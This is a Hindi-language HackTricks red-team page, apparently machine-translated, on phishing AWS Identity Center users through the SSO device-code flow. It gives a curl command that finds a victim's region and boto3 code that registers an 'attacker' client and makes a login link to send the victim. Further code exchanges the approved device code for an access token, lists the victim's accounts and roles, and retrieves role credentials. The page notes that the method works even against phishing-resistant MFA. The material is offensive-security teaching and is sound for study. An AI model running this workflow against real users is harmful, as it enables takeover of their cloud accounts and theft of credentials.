AWS - Identity Center & SSO Unauthenticated Enum

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS रेड टीम एक्सपर्ट) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

AWS डिवाइस कोड फिशिंग

पहले इस ब्लॉग पोस्ट में प्रस्तावित, यह संभव है कि AWS एसएसओ का उपयोग करके एक लिंक एक उपयोगकर्ता को भेजा जा सकता है जिसे अगर उपयोगकर्ता स्वीकार करता है तो हमलावर को एक टोकन प्राप्त करने की सक्षमता होगी और उपयोगकर्ता के द्वारा पहुंचे जा सकने वाले सभी भूमिकाओं तक पहुंच सकेगा पहचान केंद्र में।

इस हमले को करने के लिए आवश्यकताएं हैं:

  • पीड़ित को पहचान केंद्र का उपयोग करने की आवश्यकता है

  • हमलावर को पीड़ित द्वारा उपयोग किए जाने वाले सबडोमेन का पता होना चाहिए <victimsub>.awsapps.com/start

केवल पिछली जानकारी के साथ, हमलावर को उपयोगकर्ता को लिंक भेजने की सक्षमता होगी जिसे अगर स्वीकार किया जाता है तो हमलावर को AWS उपयोगकर्ता खाते पर पहुंच मिलेगी।

हमला

  1. सबडोमेन खोजना

हमलावर का पहला कदम है पीड़ित कंपनी द्वारा उनके पहचान केंद्र में उपयोग किए जाने वाले सबडोमेन का पता लगाना। इसे OSINT या अनुमान + BF के माध्यम से किया जा सकता है क्योंकि अधिकांश कंपनियां अपने नाम या उनके नाम का एक संशोधन यहाँ उपयोग करेंगी।

इस जानकारी के साथ, पहचान केंद्र को कॉन्फ़िगर किया गया क्षेत्र प्राप्त किया जा सकता है:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. शिकार के लिए लिंक उत्पन्न करें और इसे भेजें

निम्नलिखित कोड चलाएं ताकि शिकार AWS SSO लॉगिन लिंक प्राप्त कर सके। डेमो के लिए, इस कोड को एक पायथन कंसोल में चलाएं और बाद में आपको टोकन प्राप्त करने के लिए कुछ ऑब्जेक्ट्स की आवश्यकता है:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
  1. जब तक पीड़ित इसे स्वीकार नहीं करता, इंतजार करें

अगर पीड़ित AWS में पहले से लॉग इन था तो उसे अनुमतियाँ देने की अनुमति देने की आवश्यकता होगी, अगर वह नहीं था, तो उसे लॉग इन करने और फिर अनुमतियाँ देने की अनुमति देने की आवश्यकता होगी। यह वर्तमान में प्रॉम्प कैसा दिखता है:

  1. SSO एक्सेस टोकन प्राप्त करें

अगर पीड़ित ने प्रॉम्प्ट को स्वीकार किया, तो उसे यह कोड चलाएं ताकि उपयोगकर्ता का अनुकरण करते हुए एक SSO टोकन उत्पन्न किया जा सके:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

SSO एक्सेस टोकन 8 घंटे के लिए मान्य है।

  1. उपयोगकर्ता का अनुकरण करें

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

फिशिंग अनफिशेबल एमएफए

यह जानना मजेदार है कि पिछला हमला "अनफिशेबल एमएफए" (webAuth) का उपयोग किया जा रहा है तो भी काम करता है। यह इसलिए है क्योंकि पिछला वर्कफ्लो उपयोग किए गए OAuth डोमेन से कभी नहीं निकलता। अन्य फिशिंग हमलों की तरह जहां उपयोगकर्ता को लॉगिन डोमेन को बदलना होता है, इस मामले में डिवाइस कोड वर्कफ्लो तैयार है ताकि एक कोड एक डिवाइस द्वारा जाना जाता है और उपयोगकर्ता एक अलग मशीन में भी लॉगिन कर सकता है। यदि प्रॉम्प्ट स्वीकार किया जाता है, तो डिवाइस, आदिक कोड को जानते हुए, उपयोगकर्ता के लिए क्रेडेंशियल प्राप्त करने में सक्षम होगा।

इसके बारे में अधिक जानकारी के लिए इस पोस्ट की जाँच करें

स्वचालित उपकरण

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated